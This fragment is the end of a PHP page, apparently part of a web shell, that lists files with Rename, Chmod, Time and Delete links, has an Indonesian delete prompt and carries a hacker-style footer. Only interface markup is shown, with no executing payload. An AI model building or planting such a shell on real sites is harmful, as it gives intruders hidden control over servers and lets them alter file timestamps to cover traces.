<a href="?rename=<?php echo urlencode($p); ?>&path=<?php echo urlencode($dir); ?>" class="act-link">Rename</a> <span class="sep">|</span> <a href="?chmod=<?php echo urlencode($p); ?>&path=<?php echo urlencode($dir); ?>" class="act-link">Chmod</a> <span class="sep">|</span> <a href="?time=<?php echo urlencode($p); ?>&path=<?php echo urlencode($dir); ?>" class="act-link">Time</a> <span class="sep">|</span> <a href="?delete=<?php echo urlencode($p); ?>&path=<?php echo urlencode($dir); ?>" class="act-link act-link-del" onclick="return confirm('Hapus item ini?')">Delete</a>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>
<div class="footer">ALONE VS EVERYBODY © 5162</div>
</div>
</body>
</html>